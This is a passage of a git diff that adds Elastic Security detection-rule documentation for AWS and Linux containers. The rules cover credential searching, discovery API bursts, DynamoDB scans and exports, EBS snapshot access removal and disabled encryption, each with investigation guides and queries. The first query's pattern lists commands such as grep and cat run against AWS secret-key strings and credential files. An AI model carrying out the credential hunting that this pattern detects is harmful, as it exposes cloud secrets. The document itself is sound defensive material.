integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.entry_leader.entry_meta.type == "container" and +process.name in ("grep", "egrep", "fgrep", "find", "locate", "mlocate", "cat", "sed", "awk") and +process.command_line like~ ( + "*aws_access_key_id*", "*aws_secret_access_key*", "*aws_session_token*", "*accesskeyid*", "*secretaccesskey*", + "*access_key*", "*.aws/credentials*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-discovery-api-calls-via-cli-from-a-single-resource.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-discovery-api-calls-via-cli-from-a-single-resource.asciidoc new file mode 100644 index 0000000000..5e4c752492 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-discovery-api-calls-via-cli-from-a-single-resource.asciidoc @@ -0,0 +1,246 @@ +[[prebuilt-rule-8-19-20-aws-discovery-api-calls-via-cli-from-a-single-resource]] +=== AWS Discovery API Calls via CLI from a Single Resource + +Detects when a single AWS resource is running multiple read-only, discovery API calls in a 10-second window. This behavior could indicate an actor attempting to discover the AWS infrastructure using compromised credentials or a compromised instance. Adversaries may use this information to identify potential targets for further exploitation or to gain a better understanding of the target's infrastructure. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.discovery.ec2-enumerate-from-instance/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: AWS EC2 +* Data Source: AWS IAM +* Data Source: AWS S3 +* Data Source: AWS Cloudtrail +* Data Source: AWS RDS +* Data Source: AWS Lambda +* Data Source: AWS STS +* Data Source: AWS KMS +* Data Source: AWS SES +* Data Source: AWS Cloudfront +* Data Source: AWS DynamoDB +* Data Source: AWS Elastic Load Balancing +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Discovery API Calls via CLI from a Single Resource* + + +This rule detects when a single AWS identity executes more than five unique discovery-related API calls (`Describe*`, `List*`, `Get*`, or `Generate*`) within a 10-second window using the AWS CLI. +High volumes of diverse “read-only” API calls in such a short period can indicate scripted reconnaissance, often an early phase of compromise after credential exposure or access to a compromised EC2 instance. + + +*Possible Investigation Steps* + + +**Identify the actor and session context** +- **Actor ARN (`aws.cloudtrail.user_identity.arn`)**: Determine which IAM user, role, or service principal performed the actions. + - Check whether this identity normally performs enumeration activity or belongs to automation infrastructure. +- **Identity type (`Esql.aws_cloudtrail_user_identity_arn_type`)**: Validate if the caller is a human IAM user, assumed role, or federated identity. Unusual types (e.g., temporary credentials from an unfamiliar role) may indicate lateral movement. +- **Access key (`Esql.aws_cloudtrail_user_identity_access_key_id_values`)** – Identify which specific access key or temporary credential was used. + - If multiple suspicious keys are found, use AWS IAM console or `aws iam list-access-keys` to determine when they were last used or rotated. +- **Account (`Esql.cloud_account_id_values`)** – Confirm which AWS account was affected and whether it matches the intended operational context (e.g., production vs. sandbox). + +**Assess the API call pattern and intent** +- **Distinct action count (`Esql.event_action_count_distinct`)**: Note how many unique API calls occurred within each 10-second window. Counts far above normal operational baselines may indicate scripted reconnaissance. +- **API actions (`Esql.event_action_values`)**: Review which discovery APIs were invoked. + - Focus on services such as EC2 (`DescribeInstances`), IAM (`ListRoles`, `ListAccessKeys`), S3 (`ListBuckets`), and KMS (`ListKeys`), which adversaries frequently query to map assets. +- **Service providers (`Esql.event_provider_values`)**: Identify which AWS services were targeted. + - Multi-service enumeration (IAM + EC2 + S3) suggests broad discovery rather than a specific diagnostic task. +- **Time window (`Esql.time_window_date_trunc`)**: Verify whether activity occurred during normal maintenance windows or outside expected hours. + +**Analyze the source and origin** +- **Source IP (`Esql.source_ip_values`)**: Check the originating IPs to determine whether the calls came from a known internal host, an EC2 instance, or an unfamiliar external network. + - Compare with known corporate CIDR ranges, VPC flow logs, or guardrail baselines. +- **Source organization (`Esql.source_as_organization_name_values`)**: Review the associated ASN or organization. + - If the ASN belongs to a commercial ISP or VPN service, investigate possible credential compromise or remote attacker usage. + +**Correlate with additional events** +- Search CloudTrail for the same `aws.cloudtrail.user_identity.arn` or `aws_cloudtrail_user_identity_access_key_id_values` within ±30 minutes. + - Look for follow-on actions such as `GetCallerIdentity`, `AssumeRole`, `CreateAccessKey`, or data access (`GetObject`, `CopySnapshot`). + - Correlate this enumeration with authentication anomalies or privilege-related findings. +- Cross-reference `Esql.cloud_account_id_values` with other alerts for lateral or privilege escalation patterns. + + +*False positive analysis* + + +Legitimate, high-frequency API activity may originate from: +- **Inventory or compliance automation**: Scripts or tools such as AWS Config, Cloud Custodian, or custom CMDB collection performing periodic Describe/List calls. +- **Operational monitoring systems**: DevOps pipelines, Terraform, or deployment verifiers enumerating resources. +- **Security tooling**: Security scanners performing asset discovery across services. + +Validate by confirming: +- Whether the `aws.cloudtrail.user_identity.arn` corresponds to a documented automation or monitoring identity. +- That the observed `Esql.event_action_values` match known inventory or cost-reporting workflows. +- Timing alignment with approved maintenance schedules. + + +*Response and remediation* + + +If the activity is unexpected or originates from unrecognized credentials, follow AWS’s incident-handling guidance: + +**Contain** +- Temporarily disable or rotate the access key (`Esql.aws_cloudtrail_user_identity_access_key_id_values`) using IAM. +- Restrict outbound connectivity for the instance or resource from which the API calls originated. + +**Investigate** +- Retrieve full CloudTrail logs for the actor and `Esql.time_window_date_trunc` interval. +- Identify any subsequent write or privilege-modification actions. +- Review associated IAM policies for excessive permissions. + +**Recover and Harden** +- Rotate credentials, enforce MFA on human users, and tighten IAM role trust policies. +- Implement AWS Config rules or SCPs to monitor and restrict large-scale enumeration. + +**Post-Incident Actions** +- Document the finding and response in your organization’s IR management system. +- Update detection logic or allow-lists for known benign automation. +- Validate recovery by confirming no new suspicious discovery bursts occur. + + +*Additional information* + + +- **AWS Documentation** + - https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference.html[CloudTrail Event Reference] + - https://docs.aws.amazon.com/whitepapers/latest/aws-security-incident-response-guide/aws-security-incident-response-guide.pdf[AWS Security Incident Response Guide] +- **AWS Playbook Resources** + - https://github.com/aws-samples/aws-incident-response-playbooks/tree/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks[AWS Incident Response Playbooks] + - https://github.com/aws-samples/aws-customer-playbook-framework[AWS Customer Playbook Framework] + + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws.cloudtrail-* metadata _id, _version, _index +// create time window buckets of 10 seconds +| eval Esql.time_window_date_trunc = date_trunc(10 seconds, @timestamp) + +| where + event.dataset == "aws.cloudtrail" + // filter on CloudTrail audit logs for IAM, EC2, S3, etc. + and event.provider in ( + "iam.amazonaws.com", + "ec2.amazonaws.com", + "s3.amazonaws.com", + "rds.amazonaws.com", + "lambda.amazonaws.com", + "dynamodb.amazonaws.com", + "kms.amazonaws.com", + "cloudfront.amazonaws.com", + "elasticloadbalancing.amazonaws.com", + "cloudtrail.amazonaws.com", + "sts.amazonaws.com", + "ses.amazonaws.com" + ) + // ignore AWS service actions + and aws.cloudtrail.user_identity.type != "AWSService" + // filter for aws-cli specifically + and user_agent.name == "aws-cli" + // exclude DescribeCapacityReservations events related to AWS Config + and event.action != "DescribeCapacityReservations" + +// filter for Describe, Get, List, and Generate API calls +| where true in ( + starts_with(event.action, "Describe"), + starts_with(event.action, "Get"), + starts_with(event.action, "List"), + starts_with(event.action, "Generate") +) + +// extract owner, identity type, and actor from the ARN +| dissect aws.cloudtrail.user_identity.arn "%{}::%{Esql_priv.aws_cloudtrail_user_identity_arn_owner}:%{Esql.aws_cloudtrail_user_identity_arn_type}/%{Esql.aws_cloudtrail_user_identity_arn_roles}" + +| where starts_with(Esql.aws_cloudtrail_user_identity_arn_roles, "AWSServiceRoleForConfig") != true + +// keep relevant fields (preserving ECS fields and computed time window) +| keep + @timestamp, + Esql.time_window_date_trunc, + event.action, + aws.cloudtrail.user_identity.arn, + aws.cloudtrail.user_identity.type, + aws.cloudtrail.user_identity.access_key_id, + source.ip, + cloud.account.id, + event.provider, + user_agent.name, + source.as.organization.name, + cloud.region, + data_stream.namespace + +// count the number of unique API calls per time window and actor +| stats + Esql.event_action_count_distinct = count_distinct(event.action), + Esql.event_action_values = VALUES(event.action), + Esql.event_timestamp_values = VALUES(@timestamp), + Esql.aws_cloudtrail_user_identity_type_values = VALUES(aws.cloudtrail.user_identity.type), + Esql.aws_cloudtrail_user_identity_access_key_id_values = VALUES(aws.cloudtrail.user_identity.access_key_id), + Esql.source_ip_values = VALUES(source.ip), + Esql.cloud_account_id_values = VALUES(cloud.account.id), + Esql.event_provider_values = VALUES(event.provider), + Esql.user_agent_name_values = VALUES(user_agent.name), + Esql.source_as_organization_name_values = VALUES(source.as.organization.name), + Esql.cloud_region_values = VALUES(cloud.region), + Esql.data_stream_namespace_values = VALUES(data_stream.namespace) + by Esql.time_window_date_trunc, aws.cloudtrail.user_identity.arn + +// filter for more than 5 unique API calls per 10s window +| where Esql.event_action_count_distinct > 5 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Cloud Service Discovery +** ID: T1526 +** Reference URL: https://attack.mitre.org/techniques/T1526/ +* Technique: +** Name: Cloud Infrastructure Discovery +** ID: T1580 +** Reference URL: https://attack.mitre.org/techniques/T1580/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-dynamodb-scan-by-unusual-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-dynamodb-scan-by-unusual-user.asciidoc new file mode 100644 index 0000000000..37f2104cd5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-dynamodb-scan-by-unusual-user.asciidoc @@ -0,0 +1,132 @@ +[[prebuilt-rule-8-19-20-aws-dynamodb-scan-by-unusual-user]] +=== AWS DynamoDB Scan by Unusual User + +Identifies when an AWS DynamoDB table is scanned by a user who does not typically perform this action. Adversaries may use the Scan operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the Scan action in CloudTrail logs. This is a New Terms rule that only flags when this behavior is observed by a user or role for the first time. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/Scan.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS DynamoDB +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Exfiltration + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS DynamoDB Scan by Unusual User* + + +This rule identifies when an AWS DynamoDB table is scanned by a user who does not typically perform this action. Adversaries may use the Scan operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the Scan action in CloudTrail logs. + +This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] rule that only flags when this behavior is observed for the first time. + + +*Possible Investigation Steps* + + +- Identify the Actor: Review the `aws.cloudtrail.user_identity.arn` field to identify the user who requested the subscription. Verify if this actor typically performs such actions and has the necessary permissions. It may be unusual for this activity to originate from certain user types, such as an assumed role or federated user. +- Review the Source IP: Check the `source.ip` field to determine the source of the request. If the request comes from an unexpected location or IP address, it may indicate a compromised account or unauthorized access. +- Analyze the Request Parameters: Examine the `aws.cloudtrail.request_parameters` field to understand the details of the Scan request. Look for any unusual parameters or patterns that may indicate malicious intent. This also details the DynamoDB table being scanned. +- Review Access Key: Check the `aws.cloudtrail.user_identity.access_key_id` field to identify the access key used for the request. Determine if this key is associated with a legitimate user or if it has been compromised. + + + +*False Positive Analysis* + + +- Historical User Actions: If the user has a history of scanning DynamoDB tables for legitimate purposes, this may not be a false positive. Review the user's activity logs to determine if this behavior is consistent with their normal actions. +- Automated Processes: Some automated processes or applications may perform scans on DynamoDB tables as part of their functionality. If the user is associated with such a process, this may not be a false positive. + + +*Response and Remediation* + + +- Immediate Review and Reversal: If the Scan action is determined to be unauthorized, immediately revoke the user's access to the DynamoDB table and any associated resources. This may involve disabling the user's account or removing their permissions. +- Investigate Compromise: If the Scan action is determined to be malicious, investigate the source of the request and any potential compromise of the user's account. This may involve reviewing access logs, resetting passwords, and enabling multi-factor authentication (MFA) for the affected user. If export options were used with the CLI or SDK, they may have been saved locally or to a remote location. +- Review IAM Policies: Review the IAM policies associated with the user to ensure that they have the appropriate permissions for their role. If necessary, update the policies to restrict access to sensitive resources. +- Monitor for Future Activity: Continue to monitor the user's activity for any further suspicious behavior. Set up additional alerts or logging to detect any future unauthorized access attempts. + + +*Additional Information* + + +For further guidance on managing and securing DynamoDB in AWS environments, refer to the https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/security.html[AWS DynamoDB documentation] and AWS best practices for security. + + +==== Setup + + +DynamoDB data events must be enabled in CloudTrail to capture the Scan action. Ensure that the AWS CloudTrail service is configured to log data events for DynamoDB tables. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "dynamodb.amazonaws.com" + and event.action: "Scan" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Technique: +** Name: Data from Cloud Storage +** ID: T1530 +** Reference URL: https://attack.mitre.org/techniques/T1530/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-dynamodb-table-exported-to-s3.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-dynamodb-table-exported-to-s3.asciidoc new file mode 100644 index 0000000000..c92de77f76 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-dynamodb-table-exported-to-s3.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-20-aws-dynamodb-table-exported-to-s3]] +=== AWS DynamoDB Table Exported to S3 + +Identifies when an AWS DynamoDB table is exported to S3. Adversaries may use the ExportTableToPointInTime operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the ExportTableToPointInTime action in CloudTrail logs. This is a New Terms rule that only flags when this behavior is observed by a user or role for the first time. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_ExportTableToPointInTime.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS DynamoDB +* Resources: Investigation Guide +* Use Case: Threat Detection +* Tactic: Exfiltration + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + + +*Investigating AWS DynamoDB Table Exported to S3* + + +This rule identifies when an AWS DynamoDB table is exported to S3. Adversaries may use the ExportTableToPointInTime operation to collect sensitive information or exfiltrate data from DynamoDB tables. This rule detects unusual user activity by monitoring for the ExportTableToPointInTime action in CloudTrail logs. + +This is a New Terms rule that only flags when this behavior is observed for the first time. + + +*Possible Investigation Steps* + +- Identify the Actor: Review the `aws.cloudtrail.user_identity.arn` field to identify the user who requested the export. Verify if this actor typically performs such actions and has the necessary permissions. It may be unusual for this activity to originate from certain user types, such as an assumed role or federated user. +- Review the Source IP: Check the `source.ip` field to determine the source of the request. If the request comes from an unexpected location or IP address, it may indicate a compromised account or unauthorized access. +- Review Access Key: Check the `aws.cloudtrail.user_identity.access_key_id` field to identify the access key used for the request. Determine if this key has been compromised. +- Analyze the Request Parameters: Examine the `aws.cloudtrail.request_parameters` field to understand the details of the ExportTableToPointInTime request. Look for any unusual parameters or patterns that may indicate malicious intent. This also details the DynamoDB table being exported. + + +*False Positive Analysis* + +- Historical User Actions: If the user has a history of exporting DynamoDB tables for legitimate purposes, this may be a false positive. Review the user's activity logs to determine if this behavior is consistent with their normal actions. +- Automated Processes: Some automated processes or applications may perform exports on DynamoDB tables as part of their functionality. If the user is associated with such a process, this may be a false positive. + + +*Response and Remediation* + +- Immediate Review and Reversal: If the ExportTableToPointInTime action is determined to be unauthorized, immediately revoke the user's access to the DynamoDB table and any associated resources. This may involve disabling the user's access keys or removing their permissions. +- Investigate Compromise: If the ExportTableToPointInTime action is determined to be malicious, investigate the source and destination of the request and any potential compromise of the user's account. If the destination S3 bucket is not known, it may be a sign of data exfiltration and may require incident response. +- Review IAM Policies: Review the IAM policies associated with the user to ensure that they have the appropriate permissions for their role. If necessary, update the policies to restrict access to sensitive resources. +- Monitor for Future Activity: Continue to monitor the user's activity for any further suspicious behavior. Set up additional alerts or logging to detect any future unauthorized access attempts. + + +*Additional Information* + + +For further guidance on managing and securing DynamoDB in AWS environments, refer to the https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/security.html[AWS DynamoDB documentation] and AWS best practices for security. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "dynamodb.amazonaws.com" + and event.action: "ExportTableToPointInTime" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Cloud Storage +** ID: T1567.002 +** Reference URL: https://attack.mitre.org/techniques/T1567/002/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-ebs-snapshot-access-removed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-ebs-snapshot-access-removed.asciidoc new file mode 100644 index 0000000000..3595d940ae --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-ebs-snapshot-access-removed.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-20-aws-ec2-ebs-snapshot-access-removed]] +=== AWS EC2 EBS Snapshot Access Removed + +Identifies the removal of access permissions from a shared AWS EC2 EBS snapshot. EBS snapshots are essential for data retention and disaster recovery. Adversaries may revoke or modify snapshot permissions to prevent legitimate users from accessing backups, thereby obstructing recovery efforts after data loss or destructive actions. This tactic can also be used to evade detection or maintain exclusive access to critical backups, ultimately increasing the impact of an attack and complicating incident response. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS EC2 +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS EC2 EBS Snapshot Access Removed* + + +This rule detects when access is removed for an AWS EC2 EBS snapshot. EBS virtual disks can be copied into snapshots, which can then be used as backups for recovery and data retention efforts. Adversaries may attempt to remove access to snapshots in order to prevent legitimate users or automated processes from accessing or restoring from snapshots following data loss, ransomware, or destructive actions. This can significantly delay or even prevent recovery, increasing the impact of the attack. Restricting snapshot access may help adversaries cover their tracks by making it harder for defenders to analyze or recover deleted or altered data. Attackers may remove permissions for all users except their own compromised account, allowing them to maintain exclusive access to backups for future use or leverage. Understanding the context and legitimacy of such changes is crucial to determine if the action is benign or malicious. + + +*Possible investigation steps:* + + +- **Identify who performed the action**: Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to identify who made the change. Evaluate whether the identity is authorized to manage EBS snapshot permissions (check IAM policies for `ec2:ModifySnapshotAttribute`). + +- **Analyze the source of the request**: Examine `source.ip` and `source.geo` fields to determine the geographical origin of the request. An external or unexpected location might indicate compromised credentials or unauthorized access. Review `user_agent.original` to determine if the request came from an expected administrative tool or host. + +- **Examine the scope of the change**: + - Review `aws.cloudtrail.request_parameters` to understand which accounts or entities had access removed. + - Look for unusual patterns such as `createVolumePermission={remove=all}` or removal of specific external or organizational accounts. + - Cross-check the affected `snapshotId` in the AWS console or via CLI to confirm current sharing status and determine if any copies or dependent volumes exist. + - Use AWS Config or AWS CLI (`describe-snapshot-attribute`) to verify whether other snapshots were modified within the same timeframe. + +- **Correlate with other activities**: + - Search CloudTrail for additional activity from the same actor or `source.ip` around the event time. + - Pay special attention to subsequent `DeleteSnapshot`, `DeregisterImage`, or `RevokeSnapshotAccess` events, which may signal ongoing destruction. + - Check for parallel IAM activity, such as policy changes that grant or revoke permissions. + - Correlate with GuardDuty or Security Hub findings related to data exfiltration, destructive actions, or unauthorized configuration changes. + - Determine if any high-value or production snapshots were affected, especially those linked to business-critical EBS volumes. + +- **Evaluate timing and intent**: Compare `@timestamp` with maintenance windows or known change requests. Actions taken outside approved hours or without associated tickets may indicate compromise or sabotage. If this change coincides with other detections (for example, `EBS encryption disabled` or `root login` events), treat it as part of a coordinated impact campaign. + + +*False positive analysis:* + + +- **Planned administrative maintenance**: Confirm whether this snapshot modification aligns with backup rotation, retention policy enforcement, or snapshot lifecycle automation. +- **Automation and tooling**: Infrastructure-as-code pipelines or DevOps scripts may legitimately remove snapshot sharing to enforce compliance. Review tags, user agents, and automation identifiers. +- **Testing or sandbox accounts**: Some non-production environments may modify snapshot access for isolation. Validate account purpose before escalating. + +If the action was expected, document the change approval and reconcile against internal audit or change-control systems. + + +*Response and remediation:* + + +**Containment and validation** +- Review and, if necessary, restore snapshot permissions using AWS Console or CLI (`modify-snapshot-attribute` with `add` parameters). +- Confirm that no additional snapshots or AMIs have had access removed. +- Restrict `ec2:ModifySnapshotAttribute` permissions to only trusted administrative roles. + +**Investigate for data destruction or persistence** +- Determine if the same actor also deleted or copied snapshots (`DeleteSnapshot`, `CopySnapshot`). +- Review subsequent volume creation or image registration events that could indicate snapshot reuse. +- Identify whether any snapshot was shared to or copied by an external AWS account. + +**Strengthen detection and monitoring** +- Enable AWS Config rules and Security Hub controls such as `ebs-snapshot-public-restorable-check`. +- Establish continuous monitoring for `ModifySnapshotAttribute` and `DeleteSnapshot` operations. +- Correlate future detections with user identity and source IP context to identify recurring behavior. + +**Recovery and hardening** +- Verify that critical snapshots and backups are retained and encrypted. +- Implement backup immutability with AWS Backup Vault Lock or S3 Object Lock for long-term protection. +- Apply service control policies (SCPs) to prevent unauthorized modification of snapshot sharing attributes. +- Conduct a post-incident review to identify the root cause and strengthen least-privilege enforcement for EBS management roles. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS Incident Response Playbooks]**: guidance for investigating unauthorized access to modify account settings. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]**: Example framework for customers to create, develop, and integrate security playbooks in preparation for potential attack scenarios when using AWS services +- **AWS Documentation** + - https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html[EBS Snapshot Permissions] + - https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html[ModifySnapshotAttribute API Reference] + + +==== Rule query + + +[source, js] +---------------------------------- +info where event.dataset == "aws.cloudtrail" + and event.action == "ModifySnapshotAttribute" + and event.outcome == "success" + and stringContains (aws.cloudtrail.request_parameters, "attributeType=CREATE_VOLUME_PERMISSION") + and stringContains (aws.cloudtrail.request_parameters, "remove=") + and not source.address == "backup.amazonaws.com" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Cloud Compute Infrastructure +** ID: T1578 +** Reference URL: https://attack.mitre.org/techniques/T1578/ +* Sub-technique: +** Name: Modify Cloud Compute Configurations +** ID: T1578.005 +** Reference URL: https://attack.mitre.org/techniques/T1578/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-encryption-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-encryption-disabled.asciidoc new file mode 100644 index 0000000000..7ff77c1da1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-ec2-encryption-disabled.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-20-aws-ec2-encryption-disabled]] +=== AWS EC2 Encryption Disabled + +Detects when Amazon Elastic Block Store (EBS) encryption by default is disabled in an AWS region. EBS encryption ensures that newly created volumes and snapshots are automatically protected with AWS Key Management Service (KMS) keys. Disabling this setting introduces significant risk as all future volumes created in that region will be unencrypted by default, potentially exposing sensitive data at rest. Adversaries may disable encryption to weaken data protection before exfiltrating or tampering with EBS volumes or snapshots. This may be a step in preparation for data theft or ransomware-style attacks that depend on unencrypted volumes. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/disable-ebs-encryption-by-default.html +* https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DisableEbsEncryptionByDefault.html + +*Tags*: + +* 